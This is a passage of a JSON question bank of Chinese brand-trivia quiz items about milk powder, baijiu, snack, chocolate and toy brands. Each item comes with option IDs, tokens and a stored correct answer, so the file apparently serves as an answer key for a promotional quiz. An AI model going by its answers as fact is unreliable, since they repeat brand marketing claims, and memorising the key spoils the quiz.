16:47:34","status":"1"},{"questionId":"6101434112","questionIndex":"5","questionStem":"以下哪个不属于合生元业务?","options":"[{\"optionId\":\"LcUSx0BQiz_krYgjm3x3ju_0tjbnSBdJPs9cYQ\",\"optionDesc\":\"婴幼儿益生菌\"},{\"optionId\":\"LcUSx0BQiz_krYgjm3x3jMbnlWEkDpkxPxRAyQ\",\"optionDesc\":\"成人奶粉\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_krYgjm3x3j8zK0isTdmOtJbMvUA\",\"optionDesc\":\"婴幼儿奶粉\"}]","questionToken":"LcUSx0BQiz_krYh1iDRs2Wijpm1C1XCNBbHAF3T-aFetjHcx085QwCsMRPaWFJYWdNvvV3PuB9Hn3ekaPwh6ae_ki6eBuw","correct":"{\"optionId\":\"LcUSx0BQiz_krYgjm3x3jMbnlWEkDpkxPxRAyQ\",\"optionDesc\":\"成人奶粉\\t\\t\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"6101434113","questionIndex":"3","questionStem":"以下哪个品类奶粉合生元没有涉猎?","options":"[{\"optionId\":\"LcUSx0BQiz_krIgjm3x3jwp-wed64BE3q9RK\",\"optionDesc\":\"羊奶粉\"},{\"optionId\":\"LcUSx0BQiz_krIgjm3x3jkYiQoqyitF9BYWO\",\"optionDesc\":\"有机奶粉\"},{\"optionId\":\"LcUSx0BQiz_krIgjm3x3jCTIE5oQ56zxT7it\",\"optionDesc\":\"特配奶粉\\t\\t\"}]","questionToken":"LcUSx0BQiz_krIhziDRs3qO_UOJi-c8jIpVDBbldGX7LAYnLwmdmQPZVfEnR0jv-94dioetoNnv5XvZL8qe7RDS9kAumVQ","correct":"{\"optionId\":\"LcUSx0BQiz_krIgjm3x3jCTIE5oQ56zxT7it\",\"optionDesc\":\"特配奶粉\\t\\t\"}","create_time":"2/2/2021 16:47:38","update_time":"2/2/2021 16:47:38","status":"1"},{"questionId":"6101434114","questionIndex":"5","questionStem":"以下哪个不是合生元派星系列奶粉的特点?","options":"[{\"optionId\":\"LcUSx0BQiz_kq4gjm3x3jGUrarR2O8lF3tTXWQ\",\"optionDesc\":\"口味浓郁\\t\\t\"},{\"optionId\":\"LcUSx0BQiz_kq4gjm3x3jymN7c3oybMW18_f1A\",\"optionDesc\":\"比乳铁蛋白珍稀\"},{\"optionId\":\"LcUSx0BQiz_kq4gjm3x3jp48AC24Pgs-K90w3g\",\"optionDesc\":\"亲和结构脂\"}]","questionToken":"LcUSx0BQiz_kq4h1iDRs2bMRjlYsEbJSj6bGYL489uomctLdY3RoG7pardor83ZCidp6u9TILuWZSfiabKpgg1fT4lv4Hg","correct":"{\"optionId\":\"LcUSx0BQiz_kq4gjm3x3jGUrarR2O8lF3tTXWQ\",\"optionDesc\":\"口味浓郁\\t\\t\"}","create_time":"2/2/2021 16:48:29","update_time":"2/2/2021 16:48:29","status":"1"},{"questionId":"6301442836","questionIndex":"2","questionStem":"好奇皇家御裤用的纤维有多细?","options":"[{\"optionId\":\"LccSx0BXjTZeHK00TNJcEIXdyQFUQrtDuYTe\",\"optionDesc\":\"1.2mm\"},{\"optionId\":\"LccSx0BXjTZeHK00TNJcEX5Tbq04AAHcIM6f\",\"optionDesc\":\"0.12mm\"},{\"optionId\":\"LccSx0BXjTZeHK00TNJcEkkKCr4H0P56TKai\",\"optionDesc\":\"0.012mm\\t\\t\"}]","questionToken":"LccSx0BXjTZeHK1lX5pHQL7c0necKwm-UjHEgFejpvD_DGrMYi5_S_8XoHclXpoSsDpLA6QsVkvgHey5imC4-aQOFdFdNw","correct":"{\"optionId\":\"LccSx0BXjTZeHK00TNJcEkkKCr4H0P56TKai\",\"optionDesc\":\"0.012mm\\t\\t\"}","create_time":"27/1/2021 04:37:28","update_time":"27/1/2021 04:37:28","status":"1"},{"questionId":"6301442937","questionIndex":"5","questionStem":"泸州老窖国宝窖池群距今多少年?","options":"[{\"optionId\":\"LccSx0BXjTch9pDX0Tkq6-7uAShsMo19lxM\",\"optionDesc\":\"448年\\t\\t\"},{\"optionId\":\"LccSx0BXjTch9pDX0Tkq6PHyrwd0_PXvzaY\",\"optionDesc\":\"500年\"},{\"optionId\":\"LccSx0BXjTch9pDX0Tkq6WnFSn0a7DYOVPI\",\"optionDesc\":\"408年\"}]","questionToken":"LccSx0BXjTch9pCBwnExvvpoGTInNORxV-oDd1FfD3u8eEZ6TdLDGBrHJ9lQAc_b4dRi5lB9bDWY6ZiV8H512zWJ-vis9A","correct":"{\"optionId\":\"LccSx0BXjTch9pDX0Tkq6-7uAShsMo19lxM\",\"optionDesc\":\"448年\\t\\t\"}","create_time":"27/1/2021 04:38:20","update_time":"27/1/2021 04:38:20","status":"1"},{"questionId":"6301442938","questionIndex":"5","questionStem":"国窖1573的酿酒原料有哪些?","options":"[{\"optionId\":\"LccSx0BXjTch-ZDX0Tkq6YaHsDG5DkIkmHRmBA\",\"optionDesc\":\"红高粱 大米 水\"},{\"optionId\":\"LccSx0BXjTch-ZDX0Tkq60fpeeDSEDVKlofaHQ\",\"optionDesc\":\"糯红高粱 小麦 水\\t\"},{\"optionId\":\"LccSx0BXjTch-ZDX0Tkq6J7U-_CmFu9dOrzciQ\",\"optionDesc\":\"糯红高粱 大豆 水\\t\"}]","questionToken":"LccSx0BXjTch-ZCBwnExuV0YiRxaA78FP-b30MuSqXQ3NcAFGsoNQ0cn8fGUcPvaNt3zUyJBebIMvPux0wyMzV3DswdZQw","correct":"{\"optionId\":\"LccSx0BXjTch-ZDX0Tkq60fpeeDSEDVKlofaHQ\",\"optionDesc\":\"糯红高粱 小麦 水\\t\"}","create_time":"27/1/2021 04:51:53","update_time":"27/1/2021 04:51:53","status":"1"},{"questionId":"6301442939","questionIndex":"2","questionStem":"泸州老窖哪款酒前身获得了万国博览会金奖?","options":"[{\"optionId\":\"LccSx0BXjTch-JDX0Tkq61UKhzGjUeRICPE\",\"optionDesc\":\"特曲\\t\\t\"},{\"optionId\":\"LccSx0BXjTch-JDX0Tkq6QBv61kE9FItUDQ\",\"optionDesc\":\"二曲\"},{\"optionId\":\"LccSx0BXjTch-JDX0Tkq6LZ_5rj6DUT6Tsk\",\"optionDesc\":\"头曲\"}]","questionToken":"LccSx0BXjTch-JCGwnExviH8NWg7Ztb4ypqis0yeqsVmcqJf1ORFXa8sajz02ylNxLUgFLv1T7PQmlQnHMYL_IC7HR2FBw","correct":"{\"optionId\":\"LccSx0BXjTch-JDX0Tkq61UKhzGjUeRICPE\",\"optionDesc\":\"特曲\\t\\t\"}","create_time":"27/1/2021 04:49:13","update_time":"27/1/2021 04:49:13","status":"1"},{"questionId":"6301442959","questionIndex":"4","questionStem":"当前泸州老窖特曲已经更新到第几代?","options":"[{\"optionId\":\"LccSx0BXjTcn-JDX0Tkq6wcXfJx_WK1ohA8\",\"optionDesc\":\"第十代\\t\\t\"},{\"optionId\":\"LccSx0BXjTcn-JDX0Tkq6Lgpdut-fDZSqvM\",\"optionDesc\":\"第九代\"},{\"optionId\":\"LccSx0BXjTcn-JDX0Tkq6YzgdPnEvW6fh08\",\"optionDesc\":\"第十一代\"}]","questionToken":"LccSx0BXjTcn-JCAwnExvgr09vjfkxYHCdw7V_nVURE_WrArMy8Jsna35sJurjs9ImvlcBdwbziIDD7QXyb1a4d01HXwEQ","correct":"{\"optionId\":\"LccSx0BXjTcn-JDX0Tkq6wcXfJx_WK1ohA8\",\"optionDesc\":\"第十代\\t\\t\"}","create_time":"27/1/2021 04:38:20","update_time":"27/1/2021 04:38:20","status":"1"},{"questionId":"6301442960","questionIndex":"4","questionStem":"国窖1573的香型是哪种?","options":"[{\"optionId\":\"LccSx0BXjTck8ZDX0Tkq6ACSvHot_XcK3YQ_zw\",\"optionDesc\":\"清香\\t\"},{\"optionId\":\"LccSx0BXjTck8ZDX0Tkq6Q-QvqYqt-V1YJpohg\",\"optionDesc\":\"酱香\"},{\"optionId\":\"LccSx0BXjTck8ZDX0Tkq6wAp9lpnN342935FXA\",\"optionDesc\":\"浓香\\t\"}]","questionToken":"LccSx0BXjTck8ZCAwnExudWRFvQuCaqzbw5Z3WxEwI-_R9L3NxhmjeHPM33WQO41MHzbduAYkQNNJaJXQ_GOXErgUiY2ag","correct":"{\"optionId\":\"LccSx0BXjTck8ZDX0Tkq6wAp9lpnN342935FXA\",\"optionDesc\":\"浓香\\t\"}","create_time":"27/1/2021 04:39:48","update_time":"27/1/2021 04:39:48","status":"1"},{"questionId":"6301442961","questionIndex":"1","questionStem":"伊利金领冠是哪个国家的品牌?","options":"[{\"optionId\":\"LccSx0BXjTck8JDX0Tkq6BLc7mFwr9wqx_nBWQ\",\"optionDesc\":\"新西兰\"},{\"optionId\":\"LccSx0BXjTck8JDX0Tkq6ymrVXeaAM0dC3xLDg\",\"optionDesc\":\"中国\\t\\t\"},{\"optionId\":\"LccSx0BXjTck8JDX0Tkq6SLay6O-qX0bAhJWYw\",\"optionDesc\":\"法国\"}]","questionToken":"LccSx0BXjTck8JCFwnExuf0OUZy_1Z7GWXqobDNxroAtKwn4vClzwOhAqicYP60Jdz3waOmeK0rmlUbq-BG7_6Fh-aSj_Q","correct":"{\"optionId\":\"LccSx0BXjTck8JDX0Tkq6ymrVXeaAM0dC3xLDg\",\"optionDesc\":\"中国\\t\\t\"}","create_time":"27/1/2021 04:35:44","update_time":"27/1/2021 04:35:44","status":"1"},{"questionId":"6301442962","questionIndex":"1","questionStem":"伊利金领冠有几大中国发明专利?","options":"[{\"optionId\":\"LccSx0BXjTck85DX0Tkq64WSum2emlc8tOAV\",\"optionDesc\":\"5\"},{\"optionId\":\"LccSx0BXjTck85DX0Tkq6TFUcx0iA080eVsh\",\"optionDesc\":\"2\"},{\"optionId\":\"LccSx0BXjTck85DX0Tkq6A6yQyqKQ2XnZkFP\",\"optionDesc\":\"1\"}]","questionToken":"LccSx0BXjTck85CFwnExuZsURzv-1rvfai2m5FbpXsDeikb7nvEEkEuv_ruLtyjHgBkqpwmDClN86QtX5UB8vOAszSB35Q","correct":"{\"optionId\":\"LccSx0BXjTck85DX0Tkq64WSum2emlc8tOAV\",\"optionDesc\":\"5\"}","create_time":"27/1/2021 04:36:07","update_time":"27/1/2021 04:36:07","status":"1"},{"questionId":"6301442963","questionIndex":"4","questionStem":"“六维易吸收”指的是金领冠旗下哪款产品?","options":"[{\"optionId\":\"LccSx0BXjTck8pDX0Tkq6Qnb7trCp-SFkWoYUg\",\"optionDesc\":\"菁护\"},{\"optionId\":\"LccSx0BXjTck8pDX0Tkq6CYqA94AAEx9Kb8yRQ\",\"optionDesc\":\"睿护\"},{\"optionId\":\"LccSx0BXjTck8pDX0Tkq6xYdIPHtTWSpFv4RWg\",\"optionDesc\":\"珍护\\t\\t\"}]","questionToken":"LccSx0BXjTck8pCAwnExvpMP_uaOv6o9WyssW9AZRzOXX3DbiIV02kXghlpvIBYLNxUTHH8Z06wVWWr86cLLWLVxpiXlSg","correct":"{\"optionId\":\"LccSx0BXjTck8pDX0Tkq6xYdIPHtTWSpFv4RWg\",\"optionDesc\":\"珍护\\t\\t\"}","create_time":"27/1/2021 04:32:58","update_time":"27/1/2021 04:32:58","status":"1"},{"questionId":"6301442964","questionIndex":"1","questionStem":"金领冠中有欧双重有机认证的奶粉产品名是?","options":"[{\"optionId\":\"LccSx0BXjTck9ZDX0Tkq62xx2R5oLnbCoA\",\"optionDesc\":\"塞纳牧\\t\\t\"},{\"optionId\":\"LccSx0BXjTck9ZDX0Tkq6GhKUI2RJ-4KZg\",\"optionDesc\":\"珍护\"},{\"optionId\":\"LccSx0BXjTck9ZDX0Tkq6YFxOvHOsfHgkg\",\"optionDesc\":\"睿护\"}]","questionToken":"LccSx0BXjTck9ZCFwnExuRntVgQI-F9IUA_tGRr1WaqVNvKv0QtPrp6ygsJmCK5Ps_5iAYZJkh6Zj5juLn_ufirx8Tuvfg","correct":"{\"optionId\":\"LccSx0BXjTck9ZDX0Tkq62xx2R5oLnbCoA\",\"optionDesc\":\"塞纳牧\\t\\t\"}","create_time":"27/1/2021 04:41:14","update_time":"27/1/2021 04:41:14","status":"1"},{"questionId":"6301442965","questionIndex":"2","questionStem":"以下哪个不属于金领冠的业务范围?","options":"[{\"optionId\":\"LccSx0BXjTck9JDX0Tkq6-5eZRGWzGXJH4uQZw\",\"optionDesc\":\"牛奶\\t\\t\"},{\"optionId\":\"LccSx0BXjTck9JDX0Tkq6HT9Oz0R4Hj-wK3c_A\",\"optionDesc\":\"草饲奶粉\"},{\"optionId\":\"LccSx0BXjTck9JDX0Tkq6R24KJNg2aBeFn8KJA\",\"optionDesc\":\"羊奶粉\"}]","questionToken":"LccSx0BXjTck9JCGwnExvrqcKFOGVLPWqLowAcpFGUsFo-eDe0jah2BIgr3lxl7kIGIMRd5HVhqPWAWQIiSwc_fTA07Iqw","correct":"{\"optionId\":\"LccSx0BXjTck9JDX0Tkq6-5eZRGWzGXJH4uQZw\",\"optionDesc\":\"牛奶\\t\\t\"}","create_time":"27/1/2021 04:49:20","update_time":"27/1/2021 04:49:20","status":"1"},{"questionId":"6301442966","questionIndex":"1","questionStem":"三只松鼠集团总部在哪个城市?","options":"[{\"optionId\":\"LccSx0BXjTck95DX0Tkq6ytyschrcjcrl1H6vQ\",\"optionDesc\":\"安徽芜湖\\t\"},{\"optionId\":\"LccSx0BXjTck95DX0Tkq6fn0Qbb9yHE8_enb-w\",\"optionDesc\":\"浙江杭州\"},{\"optionId\":\"LccSx0BXjTck95DX0Tkq6NRaYtO-YZeC48GvPg\",\"optionDesc\":\"广东深圳\"}]","questionToken":"LccSx0BXjTck95CFwnExvvrN_FdnGCWoUO8AojubzFGhDSo_X7JxiGAfSIaKMuR_abkIJf-nh2k3uIe3geuRt9ZO1sM6gQ","correct":"{\"optionId\":\"LccSx0BXjTck95DX0Tkq6ytyschrcjcrl1H6vQ\",\"optionDesc\":\"安徽芜湖\\t\"}","create_time":"27/1/2021 04:48:38","update_time":"27/1/2021 04:48:38","status":"1"},{"questionId":"6301442967","questionIndex":"1","questionStem":"三只松鼠成立于哪一年?","options":"[{\"optionId\":\"LccSx0BXjTck9pDX0Tkq6QHqOQEXDcMu-pu_\",\"optionDesc\":\"2018年\"},{\"optionId\":\"LccSx0BXjTck9pDX0Tkq68Y-W3wEYpHmzB_C\",\"optionDesc\":\"2012年\\t\"},{\"optionId\":\"LccSx0BXjTck9pDX0Tkq6Bpxeymr1tBQ7Z3o\",\"optionDesc\":\"2008年\\t\"}]","questionToken":"LccSx0BXjTck9pCFwnExvmJlqDEL4TLDyxQ8NpiYpdveJoj7HX2-HmWGgdapQ5_0RyiFo1w1dHMdNhkFzBjEYCb4J9LkyQ","correct":"{\"optionId\":\"LccSx0BXjTck9pDX0Tkq68Y-W3wEYpHmzB_C\",\"optionDesc\":\"2012年\\t\"}","create_time":"27/1/2021 04:50:38","update_time":"27/1/2021 04:50:38","status":"1"},{"questionId":"6301442968","questionIndex":"5","questionStem":"三只松鼠哪一年上市的?","options":"[{\"optionId\":\"LccSx0BXjTck-ZDX0Tkq6X-beUWWErMegvxn\",\"optionDesc\":\"2020年\"},{\"optionId\":\"LccSx0BXjTck-ZDX0Tkq6HQNt37BJMF0yIzM\",\"optionDesc\":\"2018年\"},{\"optionId\":\"LccSx0BXjTck-ZDX0Tkq6x3jzvr0-GVpLovm\",\"optionDesc\":\"2019年\\t\\t\"}]","questionToken":"LccSx0BXjTck-ZCBwnExvsX_PY6QCXpz3DV6ibIJ2dLR-7XuSFt0ECdo9k3GheLhs9_hRJODTfEctt3Mx018ef12Nc2koQ","correct":"{\"optionId\":\"LccSx0BXjTck-ZDX0Tkq6x3jzvr0-GVpLovm\",\"optionDesc\":\"2019年\\t\\t\"}","create_time":"27/1/2021 04:41:51","update_time":"27/1/2021 04:41:51","status":"1"},{"questionId":"6301443010","questionIndex":"3","questionStem":"三只松鼠的线下门店统称什么?","options":"[{\"optionId\":\"LccSx0BXjD4zDD2Ytln6X1Da-ZLv98gkuuTN\",\"optionDesc\":\"松鼠超市\"},{\"optionId\":\"LccSx0BXjD4zDD2Ytln6XgaRsIQ5-mYlvHt5\",\"optionDesc\":\"松鼠小卖部\"},{\"optionId\":\"LccSx0BXjD4zDD2Ytln6XIEG0eg26vgli0Ls\",\"optionDesc\":\"松鼠投食店\\t\\t\"}]","questionToken":"LccSx0BXjD4zDD3IpRHhDmi7qduTEevIjL43wDbaxMmnI2P91eW5p_VMPSEqnDKxDh3_tN8BQnot-hS7i2r7PCpC7C2Y4w","correct":"{\"optionId\":\"LccSx0BXjD4zDD2Ytln6XIEG0eg26vgli0Ls\",\"optionDesc\":\"松鼠投食店\\t\\t\"}","create_time":"27/1/2021 04:44:46","update_time":"27/1/2021 04:44:46","status":"1"},{"questionId":"6301443011","questionIndex":"2","questionStem":"哪一个不是三只松鼠的子品牌?","options":"[{\"optionId\":\"LccSx0BXjD4zDT2Ytln6XD_f4LSxWEwJwKV6\",\"optionDesc\":\"两只松鼠\\t\\t\"},{\"optionId\":\"LccSx0BXjD4zDT2Ytln6X_n8KbJy08WD8M9O\",\"optionDesc\":\"小鹿蓝蓝\"},{\"optionId\":\"LccSx0BXjD4zDT2Ytln6Xq3GtlKr8e4fxxwh\",\"optionDesc\":\"铁功基\"}]","questionToken":"LccSx0BXjD4zDT3JpRHhDhJgNTF7e7ILQSTBzIi-Z4eQ-tVKPjSasDNSUD7TXOsFkERg5_exFc7W3BC1gGvg7E3xUe4-Qw","correct":"{\"optionId\":\"LccSx0BXjD4zDT2Ytln6XD_f4LSxWEwJwKV6\",\"optionDesc\":\"两只松鼠\\t\\t\"}","create_time":"27/1/2021 04:49:15","update_time":"27/1/2021 04:49:15","status":"1"},{"questionId":"6301443012","questionIndex":"3","questionStem":"费列罗集团总部坐落于?","options":"[{\"optionId\":\"LccSx0BXjD4zDj2Ytln6XumngCFnmq2A-cH2Mg\",\"optionDesc\":\"英国\"},{\"optionId\":\"LccSx0BXjD4zDj2Ytln6XCXxTGz2p8_g6-9TjQ\",\"optionDesc\":\"意大利\\t\\t\"},{\"optionId\":\"LccSx0BXjD4zDj2Ytln6X4S3LoVAlh7_Q3V2rg\",\"optionDesc\":\"德国\"}]","questionToken":"LccSx0BXjD4zDj3IpRHhCb8JOcHRut6sx2VE-sOofWR9ogXZU9cxEaPGXTXNlrBCIDpWgJsUNdrSfOcKq8zTruUPDQPDfQ","correct":"{\"optionId\":\"LccSx0BXjD4zDj2Ytln6XCXxTGz2p8_g6-9TjQ\",\"optionDesc\":\"意大利\\t\\t\"}","create_time":"27/1/2021 04:44:58","update_time":"27/1/2021 04:44:58","status":"1"},{"questionId":"6301443013","questionIndex":"3","questionStem":"费列罗主要卖什么产品","options":"[{\"optionId\":\"LccSx0BXjD4zDz2Ytln6Xvv2pxEamz9msME\",\"optionDesc\":\"牛奶\"},{\"optionId\":\"LccSx0BXjD4zDz2Ytln6X_EUmLvDEO_mqRA\",\"optionDesc\":\"面包\\t\"},{\"optionId\":\"LccSx0BXjD4zDz2Ytln6XKcRf9rI_zwQ52Y\",\"optionDesc\":\"巧克力\\t\"}]","questionToken":"LccSx0BXjD4zDz3IpRHhDjY2P-SWt9rBIftEOCMcNxxqebP-vMiYpIEl-kncN9wYs3whjo98caOoPLkFQIZmG_3NsXoBIg","correct":"{\"optionId\":\"LccSx0BXjD4zDz2Ytln6XKcRf9rI_zwQ52Y\",\"optionDesc\":\"巧克力\\t\"}","create_time":"27/1/2021 04:48:15","update_time":"27/1/2021 04:48:15","status":"1"},{"questionId":"6301443014","questionIndex":"5","questionStem":"费列罗logo颜色是?","options":"[{\"optionId\":\"LccSx0BXjD4zCD2Ytln6XzKcRtGulIg3u0g\",\"optionDesc\":\"绿色\"},{\"optionId\":\"LccSx0BXjD4zCD2Ytln6XHVLca1rZ6pPME8\",\"optionDesc\":\"咖啡色\\t\\t\"},{\"optionId\":\"LccSx0BXjD4zCD2Ytln6XptucsPU8OOSJdI\",\"optionDesc\":\"黄色\"}]","questionToken":"LccSx0BXjD4zCD3OpRHhDsysLSGiAUx-LbmMNDuhWoYNIswfdY-gfhqVxxgCuSSRpkBAMTuB-8KF1XGWoVpYFoVg-nOAnw","correct":"{\"optionId\":\"LccSx0BXjD4zCD2Ytln6XHVLca1rZ6pPME8\",\"optionDesc\":\"咖啡色\\t\\t\"}","create_time":"27/1/2021 04:40:09","update_time":"27/1/2021 04:40:09","status":"1"},{"questionId":"6301443015","questionIndex":"1","questionStem":"以下哪个属于费列罗业务?","options":"[{\"optionId\":\"LccSx0BXjD4zCT2Ytln6XEbPydouFE_jiqcS\",\"optionDesc\":\"食品\\t\\t\"},{\"optionId\":\"LccSx0BXjD4zCT2Ytln6XihppXmISq-FSiHw\",\"optionDesc\":\"婴儿护理\"},{\"optionId\":\"LccSx0BXjD4zCT2Ytln6X0OMhd051FuwAz6r\",\"optionDesc\":\"生活电器\"}]","questionToken":"LccSx0BXjD4zCT3KpRHhCeZrz4gg27Mr6mHDHgnmjzVsIjhqg4fzF3xpLF776HmK4p1eMTRuV4FaF1xOkyxEAq24nRxRmA","correct":"{\"optionId\":\"LccSx0BXjD4zCT2Ytln6XEbPydouFE_jiqcS\",\"optionDesc\":\"食品\\t\\t\"}","create_time":"27/1/2021 04:38:22","update_time":"27/1/2021 04:38:22","status":"1"},{"questionId":"6301443016","questionIndex":"1","questionStem":"哪一个不是费列罗集团的子品牌?","options":"[{\"optionId\":\"LccSx0BXjD4zCj2Ytln6Xkaj439a3NFiIdnyJw\",\"optionDesc\":\"健达\"},{\"optionId\":\"LccSx0BXjD4zCj2Ytln6Xw0llk2epRA-30QFyQ\",\"optionDesc\":\"费列罗\"},{\"optionId\":\"LccSx0BXjD4zCj2Ytln6XNzxSa4d-smT3RRDwA\",\"optionDesc\":\"碧浪\\t\\t\"}]","questionToken":"LccSx0BXjD4zCj3KpRHhDpQJ_r2M7aALp6mrBsdOnbMXq9n0vNWErWtTB1umVOTNHhJ09jpJzN-HaqKj0qkXNHYKybW54A","correct":"{\"optionId\":\"LccSx0BXjD4zCj2Ytln6XNzxSa4d-smT3RRDwA\",\"optionDesc\":\"碧浪\\t\\t\"}","create_time":"27/1/2021 04:39:39","update_time":"27/1/2021 04:39:39","status":"1"},{"questionId":"6301443017","questionIndex":"2","questionStem":"LEGO在丹麦语中的意思是? ","options":"[{\"optionId\":\"LccSx0BXjD4zCz2Ytln6Xzryr7Jne0qiXUk\",\"optionDesc\":\"自己一个人玩\"},{\"optionId\":\"LccSx0BXjD4zCz2Ytln6XocBGsf4rSxRW4w\",\"optionDesc\":\"宅在家里玩\"},{\"optionId\":\"LccSx0BXjD4zCz2Ytln6XMEDQsEArA7Yj8M\",\"optionDesc\":\"玩得快乐\\t\\t\"}]","questionToken":"LccSx0BXjD4zCz3JpRHhCbECSQ2Y1KWcEIgIX2e2_CRomdqcHCaGswudU-IH6fHXnGD9quqb7nRRowqhOuMgyxVEbgALGg","correct":"{\"optionId\":\"LccSx0BXjD4zCz2Ytln6XMEDQsEArA7Yj8M\",\"optionDesc\":\"玩得快乐\\t\\t\"}","create_time":"27/1/2021 04:46:15","update_time":"27/1/2021 04:46:15","status":"1"},{"questionId":"6301443018","questionIndex":"5","questionStem":"哪些英雄在乐高城市里集结?","options":"[{\"optionId\":\"LccSx0BXjD4zBD2Ytln6Xqp_15WlaXgZ8zLIbA\",\"optionDesc\":\"奥特曼军团\"},{\"optionId\":\"LccSx0BXjD4zBD2Ytln6X55VwcC1RSKyuXxx5g\",\"optionDesc\":\"美少女战士\"},{\"optionId\":\"LccSx0BXjD4zBD2Ytln6XDVot_FQmyG5i7eAww\",\"optionDesc\":\"空中特警和消防员\\t\\t\"}]","questionToken":"LccSx0BXjD4zBD3OpRHhDrVQDX2soZ5kTMqmbi1LsqO1Z9zOPZsaQGeLtgosrcaPy3D7jWvpSadcRWLUoW3MRHlUR7VZPA","correct":"{\"optionId\":\"LccSx0BXjD4zBD2Ytln6XDVot_FQmyG5i7eAww\",\"optionDesc\":\"空中特警和消防员\\t\\t\"}","create_time":"27/1/2021 03:37:25","update_time":"27/1/2021 03:37:25","status":"1"},{"questionId":"6301443019","questionIndex":"4","questionStem":"谁是乐高幻影忍者界的一代宗师?","options":"[{\"optionId\":\"LccSx0BXjD4zBT2Ytln6X8xtJ01lyQLfzNnaiA\",\"optionDesc\":\"王小聪\"},{\"optionId\":\"LccSx0BXjD4zBT2Ytln6XoCYI53IuAiwWNXKwA\",\"optionDesc\":\"易小星\"},{\"optionId\":\"LccSx0BXjD4zBT2Ytln6XPODf9hgfNSnhOgN2Q\",\"optionDesc\":\"吴大师\\t\\t\"}]","questionToken":"LccSx0BXjD4zBT3PpRHhDqwH9vcgQz7t4-dNj7tkfeahvvw_6SigL8epiiZcrG4WWb4QMjTYS2jvipOtTO_q-ylTDbeKLw","correct":"{\"optionId\":\"LccSx0BXjD4zBT2Ytln6XPODf9hgfNSnhOgN2Q\",\"optionDesc\":\"吴大师\\t\\t\"}","create_time":"27/1/2021 04:49:24","update_time":"27/1/2021 04:49:24","status":"1"},{"questionId":"6301443020","questionIndex":"3","questionStem":"悟空小侠系列是致敬什么中国名著?","options":"[{\"optionId\":\"LccSx0BXjD4wDD2Ytln6XHld6CpEIauugQWg\",\"optionDesc\":\"《西游记》\\t\\t\"},{\"optionId\":\"LccSx0BXjD4wDD2Ytln6XscF0fGcQkQb68N9\",\"optionDesc\":\"《水浒传》\"},{\"optionId\":\"LccSx0BXjD4wDD2Ytln6X-DRYytNU1txssYt\",\"optionDesc\":\"《红楼梦》\"}]","questionToken":"LccSx0BXjD4wDD3IpRHhDvB6-F6SzvQAQVgOffrQ1vf0krExijscz4-JL58-pUbsY-Fe5wFKB2PBhvbKJwQ7n0BJ5GMZUA","correct":"{\"optionId\":\"LccSx0BXjD4wDD2Ytln6XHld6CpEIauugQWg\",\"optionDesc\":\"《西游记》\\t\\t\"}","create_time":"27/1/2021 04:47:12","update_time":"27/1/2021 04:47:12","status":"1"},{"questionId":"6301443021","questionIndex":"5","questionStem":"乐高好朋友系列中安德里亚擅长什么?","options":"[{\"optionId\":\"LccSx0BXjD4wDT2Ytln6Xwt32Z-oVN6w1AU\",\"optionDesc\":\"科学\"},{\"optionId\":\"LccSx0BXjD4wDT2Ytln6XLjiKr6XIuO8lMo\",\"optionDesc\":\"音乐\\t\\t\"},{\"optionId\":\"LccSx0BXjD4wDT2Ytln6XmhPuPftToe32fk\",\"optionDesc\":\"运动\"}]","questionToken":"LccSx0BXjD4wDT3OpRHhCVaY2q-IYGGe213YNzpooSy9za29KFc0UhHoYsoKTekZm4NhoGYWlvftuKkEY8WNdmsa0L4_-w","correct":"{\"optionId\":\"LccSx0BXjD4wDT2Ytln6XLjiKr6XIuO8lMo\",\"optionDesc\":\"音乐\\t\\t\"}","create_time":"27/1/2021 04:47:44","update_time":"27/1/2021 04:47:44","status":"1"},{"questionId":"6301443022","questionIndex":"4","questionStem":"董酒是什么香型?","options":"[{\"optionId\":\"LccSx0BXjD4wDj2Ytln6X-bz5fVcwa7Q6Mgksg\",\"optionDesc\":\"浓香\"},{\"optionId\":\"LccSx0BXjD4wDj2Ytln6XKKtAHeRWbg_Qv_8MQ\",\"optionDesc\":\"董香型\"},{\"optionId\":\"LccSx0BXjD4wDj2Ytln6XgxbNmciJM27yboHdg\",\"optionDesc\":\"酱香\"}]","questionToken":"LccSx0BXjD4wDj3PpRHhDnJVBcSyw3r6lT76bEboZm50R9FOLTobyaw2oGU-3qfHjTWQoTDyQH5YHU7YYaRV7N-ecV8PhA","correct":"{\"optionId\":\"LccSx0BXjD4wDj2Ytln6XKKtAHeRWbg_Qv_8MQ\",\"optionDesc\":\"董香型\"}","create_time":"27/1/2021 04:48:53","update_time":"27/1/2021 04:48:53","status":"1"},{"questionId":"6301443023","questionIndex":"1","questionStem":"董酒产自哪里?","options":"[{\"optionId\":\"LccSx0BXjD4wDz2Ytln6XLeYJVbGBSry4F46jg\",\"optionDesc\":\"贵州\\t\"},{\"optionId\":\"LccSx0BXjD4wDz2Ytln6X77C4uDkhVvVnjLEuw\",\"optionDesc\":\"四川\\t\"},{\"optionId\":\"LccSx0BXjD4wDz2Ytln6Xg7dc5APqOoamNNjmQ\",\"optionDesc\":\"江苏\"}]","questionToken":"LccSx0BXjD4wDz3KpRHhCQlKWrVHdOt1ShPDSDKoNCF7jSo5-xas8-shVF_wk-GyASNKxfWf_H0XE2zqy9jPs1hdWTfPFw","correct":"{\"optionId\":\"LccSx0BXjD4wDz2Ytln6XLeYJVbGBSry4F46jg\",\"optionDesc\":\"贵州\\t\"}","create_time":"27/1/2021 04:34:39","update_time":"27/1/2021 04:34:39","status":"1"},{"questionId":"6301443024","questionIndex":"4","questionStem":"拉菲葡萄酒产自哪个国家?","options":"[{\"optionId\":\"LccSx0BXjD4wCD2Ytln6Xy5l4-8nv1-N0dfq\",\"optionDesc\":\"美国\\t\"},{\"optionId\":\"LccSx0BXjD4wCD2Ytln6XNmfjuZ8KYEON0lq\",\"optionDesc\":\"法国\"},{\"optionId\":\"LccSx0BXjD4wCD2Ytln6XjoHTn-4J5zAQSqr\",\"optionDesc\":\"英国\"}]","questionToken":"LccSx0BXjD4wCD3PpRHhDj1-0bk4tGVuJAI3T2F-6vz50Kt_-_lsU3PlK-rECu3Z3wE46yzzrIHWUGzOduadGrym72mYYQ","correct":"{\"optionId\":\"LccSx0BXjD4wCD2Ytln6XNmfjuZ8KYEON0lq\",\"optionDesc\":\"法国\"}","create_time":"27/1/2021 04:37:26","update_time":"27/1/2021 